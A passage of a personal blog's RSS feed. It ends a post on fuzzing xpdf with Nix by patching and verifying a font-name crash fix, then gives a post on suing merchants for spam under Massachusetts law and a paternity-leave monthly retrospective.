&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c++" data-lang="c++">&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> (name &amp;amp;&amp;amp; (name-&amp;gt;getLength() &amp;gt; &lt;span style="color:#3677a9">0&lt;/span>)) {
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That ensures that the function treats an empty string the same as a null pointer and doesn&amp;rsquo;t process it further.&lt;/p>
&lt;p>To test my hypothesis, I&amp;rsquo;ll create a patch with this change, recompile xpdf, then re-run &lt;code>pdftotext&lt;/code> against the same PDF to see if my fix prevents the same crash.&lt;/p>
&lt;p>xpdf is a bit unusual for an open-source project in that it doesn&amp;rsquo;t publish a git repository, just periodic tarballs. But that&amp;rsquo;s okay. I&amp;rsquo;l create my own scratch git repository so I have a workspace for editing the code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">ORIGINAL_SRC&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>nix &lt;span style="color:#24909d">eval&lt;/span> --raw .#xpdf.src.outPath&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">MODIFIED_SRC&lt;/span>=&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">$(&lt;/span>mktemp --directory&lt;span style="color:#6ab825;font-weight:bold">)&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">pushd&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MODIFIED_SRC&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> cp --recursive --verbose &lt;span style="color:#40ffff">$ORIGINAL_SRC&lt;/span>/* . &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> chmod -R u+w . &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git init &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git add --all &amp;amp;&amp;amp; &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> git commit --message &lt;span style="color:#ed9d13">&amp;#34;Dummy base commit&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I now have a copy of xpdf&amp;rsquo;s source code in a fresh git repository. I edit &lt;code>GfxFont.cc&lt;/code> to make my fix:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>vim xpdf/GfxFont.cc
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When I&amp;rsquo;ve finished my edits and saved the file, I call &lt;code>git diff&lt;/code> to create a patch file, which looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-diff" data-lang="diff">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">diff --git a/xpdf/GfxFont.cc b/xpdf/GfxFont.cc
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">index c3db4e8..7074354 100644
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;font-weight:bold">&lt;/span>&lt;span style="color:#d22323">--- a/xpdf/GfxFont.cc
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+++ b/xpdf/GfxFont.cc
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span>&lt;span style="color:#fff;text-decoration:underline">@@ -535,7 +535,7 @@ void GfxFont::readFontDescriptor(XRef *xref, Dict *fontDict) {
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fff;text-decoration:underline">&lt;/span> obj1.free();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> // scan font name for bold/italic tags and update the flags
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">- if (name) {
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d22323">&lt;/span>&lt;span style="color:#589819">+ if (name &amp;amp;&amp;amp; (name-&amp;gt;getLength() &amp;gt; 0)) {
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#589819">&lt;/span> i = name-&amp;gt;getLength();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> if (i &amp;gt; 2 &amp;amp;&amp;amp; !strncmp(name-&amp;gt;getCString() + i - 2, &amp;#34;MT&amp;#34;, 2)) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> i -= 2;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I copy the patch back to my fuzz testing directory:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Create a patch file for the fix.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>git diff &amp;gt; check-font-name-length.patch
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Get back to fuzz-xpdf git repo.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">popd&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mv &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">MODIFIED_SRC&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">/check-font-name-length.patch&amp;#34;&lt;/span> .
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>With my patch file in the same directory as my &lt;code>flake.nix&lt;/code>, I update my Nix flake to tell it to apply my custom patch when compiling xpdf:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-nix" data-lang="nix">&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> xpdf = pkgs.stdenv.mkDerivation &lt;span style="color:#6ab825;font-weight:bold">rec&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> src = pkgs.fetchzip {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url = &lt;span style="color:#ed9d13">&amp;#34;https://dl.xpdfreader.com/&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>pname&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">-&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>version&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">.tar.gz&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> extension = &lt;span style="color:#ed9d13">&amp;#34;tar.gz&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> };
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># Add a custom patch to fix the font name length bug.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> patches = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">./check-font-name-length.patch&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ];
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At this point, &lt;code>flake.nix&lt;/code> should &lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf/-/blob/08-patch-bug/flake.nix">look like this&lt;/a>.&lt;/p>
&lt;p>I&amp;rsquo;m ready to test my fix. I recompile xpdf with my patch and run it against the PDF that caused the previous crash:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Specify the path to the crashing PDF.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ &lt;span style="color:#40ffff">CRASHING_PDF&lt;/span>=&lt;span style="color:#ed9d13">&amp;#39;SIGABRT.PC.55555592fff5.STACK.1bb46b81df.CODE.-6.ADDR.0.INSTR.mov____%eax,%edx.fuzz&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Rebuild pdftotext in the result folder&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ nix build
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Run pdftotext with the crashing PDF.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ./result/bin/pdftotext &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">CRASHING_PDF&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Syntax Error: Couldn&lt;span style="color:#a61717;background-color:#e3d2d2">&amp;#39;&lt;/span>t &lt;span style="color:#24909d">read&lt;/span> xref table
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Syntax Warning: PDF file is damaged - attempting to reconstruct xref table...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Syntax Error (2800): Bad dynamic code table in flate stream
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Syntax Error (2800): Bad block header in flate stream
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Syntax Error (2158): Dictionary key must be a name object
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Syntax Error: Unterminated string
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Syntax Error: Leftover args in content stream
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And voila! &lt;code>pdftotext&lt;/code> reports a lot of errors, but the program never crashes. My fix worked.&lt;/p>
&lt;p>I discovered after finding a fix that someone else had &lt;a href="https://forum.xpdfreader.com/viewtopic.php?t=44009">reported the same vulnerability&lt;/a> a few weeks before I found this crash, but it was still a useful exercise.&lt;/p>
&lt;h2 id="wrapping-up">Wrapping up&lt;/h2>
&lt;p>I&amp;rsquo;ve found Nix to be an excellent tool for creating fuzz testing workflows.&lt;/p>
&lt;p>It took a bit of work to figure out all of Nix&amp;rsquo;s odds and ends for use in fuzzing, but now it should be easy to drop in a different PDF parser or use a different fuzzer. The beauty of Nix is that it composes well, so it&amp;rsquo;s easy to swap out different components within the workflow.&lt;/p>
&lt;p>This project ended up being a great way to learn more about both fuzzing and Nix. I&amp;rsquo;ve been dabbling in Nix for the last year, but using Nix in this way helped crystallize a lot of concepts that had been hazy for me.&lt;/p>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>The full source for my fuzzing workflow is available on Gitlab:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/mtlynch/fuzz-xpdf">https://gitlab.com/mtlynch/fuzz-xpdf&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Excerpts from xpdf are used under &lt;a href="https://gitlab.com/mtlynch/xpdf/-/blob/4.05/COPYING3">the GPLv3 license&lt;/a>. Thanks to &lt;a href="https://github.com/antonmosich">Anton Mosich&lt;/a> for assistance with this post.&lt;/em>&lt;/p></content:encoded></item><item><title>Massachusetts Residents Can Sue Online Merchants for Spam</title><link>https://mtlynch.io/notes/ma-residents-can-sue-over-email/</link><pubDate>Sun, 20 Oct 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/ma-residents-can-sue-over-email/</guid><description>&lt;p>Last week, I saw an interesting article on the /r/legaladvice subreddit. An e-commerce business owner was complaining that a customer was suing because the merchant had been sending the customer promotional emails for years that the customer never agreed to. The author deleted the post a few days later, but I found &lt;a href="original.txt">a copy of the text&lt;/a>.&lt;/p>
&lt;p>The merchant was indignant and felt like it was a shakedown, but I was 100% on the customer&amp;rsquo;s side. The merchant is in the wrong for spamming their customers with promotional emails they never requested, and so the merchant should suffer financial repercussions.&lt;/p></description><content:encoded>&lt;p>Last week, I saw an interesting article on the /r/legaladvice subreddit. An e-commerce business owner was complaining that a customer was suing because the merchant had been sending the customer promotional emails for years that the customer never agreed to. The author deleted the post a few days later, but I found &lt;a href="original.txt">a copy of the text&lt;/a>.&lt;/p>
&lt;p>The merchant was indignant and felt like it was a shakedown, but I was 100% on the customer&amp;rsquo;s side. The merchant is in the wrong for spamming their customers with promotional emails they never requested, and so the merchant should suffer financial repercussions.&lt;/p>
&lt;h2 id="promotional-emails-privatize-profits-and-socialize-costs">Promotional emails privatize profits and socialize costs&lt;/h2>
&lt;p>Promotional emails are a perfect example of businesses privatizing profits while socializing costs.&lt;/p>
&lt;p>Suppose I buy a shirt from Bonobos. For me, that&amp;rsquo;s the last I want to hear from Bonobos until I decide to buy something else. But Bonobos will undoubtedly add me to their newsletter to encourage me to buy more from them. A new trend I&amp;rsquo;m noticing is merchants sharing my email with some review collection service that begs me to leave a positive review of the product to encourage other customers to buy.&lt;/p>
&lt;p>Every promotional email a customer receives from Bonobos or any other merchant distracts them for 10-30 seconds. If Bonobos sends out 10 million emails per year, it wastes an aggregate of 3 years of consumer time.&lt;/p>
&lt;p>But Bonobos doesn&amp;rsquo;t care because Bonobos doesn&amp;rsquo;t bear any of those costs. Bonobos pays a few hundred dollars to send those 10 million emails. In return, they probably get $100k or more in additional revenue because 0.1% of those emails successfully convinced people to purchase more products from Bonobos.&lt;/p>
&lt;p>All the gains go to Bonobos, and almost all the costs go to the consumers who don&amp;rsquo;t want to waste their time with Bonobos&amp;rsquo; promotional emails.&lt;/p>
&lt;h2 id="whos-suing-people-for-spam">Who&amp;rsquo;s suing people for spam?&lt;/h2>
&lt;p>So, back to that reddit post. I wanted to know more about the case to see if I could start suing businesses who abused my email address.&lt;/p>
&lt;p>I couldn&amp;rsquo;t find anyone that matched the details from the reddit post, but I did discover &lt;a href="https://en.wikipedia.org/wiki/Daniel_Balsam">Dan Balsam&lt;/a> of &lt;a href="http://www.danhatesspam.com/">DanHatesSpam&lt;/a>. He was actively suing businesses for spam from around 2002 to 2013, but I couldn&amp;rsquo;t find much from him since then.&lt;/p>
&lt;p>Dan Balsam didn&amp;rsquo;t sound like the same guy as the redddit post, but his story helped me understand how someone could successfully sue for spam emails.&lt;/p>
&lt;p>Dan was able to sue businesses because he&amp;rsquo;s a resident of California, which has the strongest consumer privacy laws in the US. In California, you can sue spammers for $1,000 per email:&lt;/p>
&lt;blockquote>
&lt;p>A person or entity bringing an action pursuant to subparagraph (A) may recover either or both of the following:&lt;/p>
&lt;p>(i) Actual damages.&lt;/p>
&lt;p>(ii) Liquidated damages of one thousand dollars ($1,000) for each unsolicited commercial e-mail advertisement transmitted in violation of this section, up to one million dollars ($1,000,000) per incident.&lt;/p>
&lt;p>&lt;a href="https://leginfo.legislature.ca.gov/faces/codes_displaySection.xhtml?lawCode=BPC&amp;amp;sectionNum=17529.5">California Code, Business and Professions Code - BPC § 17529.5&lt;/a>&lt;/p>&lt;/blockquote>
&lt;h2 id="does-massachusetts-have-a-similar-anti-spam-law-to-californias">Does Massachusetts have a similar anti-spam law to California&amp;rsquo;s?&lt;/h2>
&lt;p>I hoped that my home state of Massachusetts might have a law like California&amp;rsquo;s so I could exercise my rights with spammers like Dan does.&lt;/p>
&lt;p>It turns out that Massachusetts &lt;em>does&lt;/em> have a law protecting consumers from spam, though it actually predates e-commerce.&lt;/p>
&lt;p>The Massachusetts law is the Consumer Privacy in Commercial Transactions Act (or CPICTA). In commercial transactions, it forbids the merchant from collecting more personal information than necessary to complete a credit card transaction:&lt;/p>
&lt;blockquote>
&lt;p>No person, firm, partnership, corporation or other business entity that accepts a credit card for a business transaction shall write, cause to be written or require that a credit card holder write personal identification information, not required by the credit card issuer, on the credit card transaction form. Personal identification information shall include, but shall not be limited to, a credit card holder&amp;rsquo;s address or telephone number.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://malegislature.gov/Laws/GeneralLaws/PartI/TitleXV/Chapter93/Section105">Massachusetts General Law Chapter 93 § 105(a)&lt;/a>.&lt;/li>
&lt;/ul>&lt;/blockquote>
&lt;p>In 2011, Massachusetts resident Melissa Tyler &lt;a href="tyler-v-michaels-stores-inc-2013.pdf">filed a class-action lawsuit against Michaels&lt;/a> (the crafts store) for collecting customer zip codes unnecessarily and using the information to send her marketing materials.&lt;/p>
&lt;p>In 2015, Michaels &lt;a href="Tyler_v__Michaels_Stores-2015.pdf">agreed to pay class members&lt;/a> $10 or $25 each in Michael&amp;rsquo;s coupons and $425k cash for in attorney&amp;rsquo;s fees. The $25 amount seems to come from here:&lt;/p>
&lt;blockquote>
&lt;p>&amp;hellip;if the court finds for the petitioner, recovery shall be in the amount of actual damages or twenty-five dollars, whichever is greater; or up to three but not less than two times such amount if the court finds that the use or employment of the act or practice was a willful or knowing violation of said section two&amp;hellip;&lt;/p>
&lt;p>-&lt;a href="https://malegislature.gov/Laws/GeneralLaws/PartI/TitleXV/Chapter93a/Section9">Massachusetts General Law Chapter 93a § 9(3)&lt;/a>&lt;/p>&lt;/blockquote>
&lt;h2 id="ongoing-court-cases">Ongoing court cases&lt;/h2>
&lt;p>I happened to look into this at a lucky time because the law firm &lt;a href="https://www.bursor.com/">Bursor &amp;amp; Fisher, P.A.&lt;/a> recently filed class-action suits against three online merchants for abusing customer emails to send marketing emails, in violation of the Massachusetts privacy law:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.bloomberglaw.com/public/desktop/document/MagnusonLukevsGameStopCorpDocketNo2484CV02058MassSuperCtAug052024?doc_id=X4Q2UCMUHJK8CNA121GMI1MJR0U">Magnuson v. GameStop Corp., Mass. Super. Ct., No. 2484-CV-02058&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.bloomberglaw.com/public/document/DeFelippisAnthonyvsBloomingdalesIncDocketNo2484CV02059MassSuperCt?doc_id=X6UUT0CEO9U9VARBRJSUS4PN9JT">DeFelippis v. Bloomingdale’s Inc., Mass. Super. Ct., No. 2484-CV-02059&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.bloomberglaw.com/public/document/CarrMaryvsBGRetailLLCDocketNo2484CV02060MassSuperCtAug052024Court?doc_id=X61HVK76J9C9SSO1F8CA9C1Q640">Carr v. BG Retail, LLC, Mass. Super. Ct., No. 2484-CV-02060&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="what-does-this-mean-for-me">What does this mean for me?&lt;/h2>
&lt;p>Based on these cases, it seems like there&amp;rsquo;s precedent for Massachusetts residents to assert their rights against merchants who abuse their privacy.&lt;/p>
&lt;p>Here&amp;rsquo;s my plan:&lt;/p>
&lt;ol>
&lt;li>Record the checkout process when I buy something from an online merchant to capture the fact that I&amp;rsquo;m not opting in to promotional emails.&lt;/li>
&lt;li>If I receive a promotional email, solicitation of a review, or any kind of email other than what&amp;rsquo;s strictly required to complete my purchase, I&amp;rsquo;ll send the business a &lt;a href="https://www.mass.gov/info-details/30-day-demand-letter">30-day demand letter&lt;/a> telling them to send me a penalty of $25 and that subsequent emails after they receive my letter will be triple because at that point it will be willful violation of the law.&lt;/li>
&lt;li>If they don&amp;rsquo;t respond or say they don&amp;rsquo;t owe me money, take them to small claims court and cite &lt;a href="https://malegislature.gov/Laws/GeneralLaws/PartI/TitleXV/Chapter93/Section105">Massachusetts General Law Chapter 93 § 105(a)&lt;/a>.&lt;/li>
&lt;/ol>
&lt;p>I&amp;rsquo;ve never taken a business to small claims court, so part of it will just be interesting to see how the process works. I&amp;rsquo;ll post updates here as I proceed.&lt;/p></content:encoded></item><item><title>Paternity Leave: Month 2</title><link>https://mtlynch.io/retrospectives/2024/10/</link><pubDate>Tue, 15 Oct 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/10/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m finding it surprisingly difficult not to work.&lt;/li>
&lt;li>Sleep is getting a little better.&lt;/li>
&lt;li>I used Nix to create a slick and reusable fuzz testing workflow.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="enjoy-family-time">Enjoy family time&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Spent lots of time with my wife and our newborn son and had frequent visits with friends and family.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;h2 id="ill-be-okay-if-i-dont-work-for-a-bit">I&amp;rsquo;ll be okay if I don&amp;rsquo;t work for a bit&lt;/h2>
&lt;p>I never thought of myself as someone who needs to work all the time, but I&amp;rsquo;m finding it difficult to take time off.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m finding it surprisingly difficult not to work.&lt;/li>
&lt;li>Sleep is getting a little better.&lt;/li>
&lt;li>I used Nix to create a slick and reusable fuzz testing workflow.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="enjoy-family-time">Enjoy family time&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Spent lots of time with my wife and our newborn son and had frequent visits with friends and family.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;h2 id="ill-be-okay-if-i-dont-work-for-a-bit">I&amp;rsquo;ll be okay if I don&amp;rsquo;t work for a bit&lt;/h2>
&lt;p>I never thought of myself as someone who needs to work all the time, but I&amp;rsquo;m finding it difficult to take time off.&lt;/p>
&lt;p>When I look at how little I&amp;rsquo;ve gotten done work-wise in the last three months, I have this anxious feeling of, &amp;ldquo;What if this is my new normal? What if I have to make a living with only a few hours for work each month?&amp;rdquo;&lt;/p>
&lt;p>I know these fears are mostly irrational. Tons of people have kids — they work regular hours, and it&amp;rsquo;s fine. And on top of that, I have lots of family nearby who are eager to help out with childcare.&lt;/p>
&lt;p>It feels even more ridiculous to worry about having too little time to work when I look back at where my time has been going: long visits with family and friends and fun activities as a family.&lt;/p>
&lt;p>It would be one thing if the situation were, &amp;ldquo;Oh no! Between feeding, diaper changes, and catching up on sleep, there&amp;rsquo;s zero time!&amp;rdquo; But instead, I&amp;rsquo;m basically reacting like, &amp;ldquo;Oh no! Between yesterday&amp;rsquo;s three-hour brunch and seven-hour visit with friends, I had no time for blogging!&amp;rdquo;&lt;/p>
&lt;p>Another part of the equation is that I&amp;rsquo;m spending significantly more time hosting guests and visiting other people than I&amp;rsquo;m used to, so part of my anxiety is just an introvert&amp;rsquo;s exhaustion from extra social time.&lt;/p>
&lt;p>So, I just have to remind myself that I&amp;rsquo;ll be okay if I don&amp;rsquo;t work for a bit, I&amp;rsquo;ll have more time as my son gets older, and I&amp;rsquo;m still largely in control of how I&amp;rsquo;m spending my time.&lt;/p>
&lt;h2 id="refining-our-newborn-sleep-strategy">Refining our newborn sleep strategy&lt;/h2>
&lt;p>It feels cliché to talk about sleep as a new parent because all new parents seem weirdly obsessed with sleep. But good sleep makes a huge difference in our day-to-day, so I guess that&amp;rsquo;s why everyone talks about it.&lt;/p>
&lt;p>Originally, my wife was doing all the feedings, and I was doing all the diaper changes. We quickly realized that meant that at nighttime, we both had to get up every 60-90 minutes, so neither of us was sleeping well.&lt;/p>
&lt;p>A few weeks in, we switched to shifts, so one person handles both feeding and diaper changes while the other sleeps. I do the first shift from around 9 PM to 2 AM, and my wife takes over at my son&amp;rsquo;s first post-2 AM wakeup. That&amp;rsquo;s been a major improvement, as it guarantees that we each get 4-5 hours of uninterrupted sleep when we&amp;rsquo;re off-shift, plus a few scattered hours of sleep during our shifts.&lt;/p>
&lt;p>We also noticed our son slept better when we took sleep hygiene seriously. We sometimes like to unwind with an hour of TV after dinner, but we noticed that on nights we skipped TV, everyone slept better, especially our son. And I used to read for an hour or two each night in our living room while my son slept, but we&amp;rsquo;ve read that having lights on can interfere with infant sleep, so I&amp;rsquo;ve stopped doing that, though I miss the quiet reading time with him.&lt;/p>
&lt;p>Overall, our sleep strategies are working well, as I feel well-rested most days. We&amp;rsquo;ll keep adjusting as our son&amp;rsquo;s sleeping evolves and as we discover new techniques.&lt;/p>
&lt;h2 id="nix-is-a-surprisingly-good-tool-for-fuzz-testing">Nix is a surprisingly good tool for fuzz testing&lt;/h2>
&lt;p>About ten years ago, when I was working as a security consultant, I used &lt;a href="https://en.wikipedia.org/wiki/Fuzzing">fuzz testing&lt;/a> to &lt;a href="https://www.nccgroup.com/us/research-blog/fuzzing-rtsp-to-discover-an-exploitable-vulnerability-in-vlc/">find a serious vulnerability in VLC&lt;/a>, the &lt;a href="https://www.videolan.org/vlc/">open-source video player&lt;/a>.&lt;/p>
&lt;p>The tooling around fuzz testing has improved substantially in the last decade, so I&amp;rsquo;ve been curious to try out the latest state of the art.&lt;/p>
&lt;p>I found Antonio Morales&amp;rsquo; 2021 &lt;a href="https://github.com/antonio-morales/Fuzzing101">fuzz testing tutorial series&lt;/a>. It uses &lt;a href="https://github.com/AFLplusplus/AFLplusplus">AFL++&lt;/a>, which I sense is no longer the top fuzzing tool, but I started the series. The first tutorial demonstrates how to fuzz &lt;a href="https://www.xpdfreader.com/">xpdf&lt;/a>, an open-source PDF processing tool. I modified the steps to target the latest version of xpdf, and I found a new out-of-bounds memory read bug, which was exciting.&lt;/p>
&lt;p>It turned out that someone else had &lt;a href="https://forum.xpdfreader.com/viewtopic.php?t=44009">discovered the same vulnerability&lt;/a> in September 2024, and that report was dismissed because it had been reported even earlier to the maintainer via private email. I suspect they found it by following the same tutorial I did. A few weeks after I found the series, it &lt;a href="https://news.ycombinator.com/item?id=41747979">appeared on the front page of Hacker News&lt;/a>, so people seem to be randomly discovering that three-year-old tutorial somehow.&lt;/p>
&lt;p>One thing that stood out to me in all the fuzzing tutorials was how big a pain it is just setting up the environment. Morales directs readers to compile AFL++ from source with a specific version of Ubuntu, but those instructions are now out of date as all the packages he refers to have all changed since then.&lt;/p>
&lt;p>Rather than hunt down all the package versions Morales was talking about, I saw an opportunity to use Nix. It allows me to pin tool versions in my source file and feel confident they won&amp;rsquo;t change out from under me in the future.&lt;/p>
&lt;p>I was able to create the entire fuzz testing workflow in a Nix flake, so I just type &lt;code>nix run&lt;/code>, and Nix downloads the initial corpus, compiles the target program, and starts fuzzing. I plan to publish a blog post later this month explaining how it all works.&lt;/p>
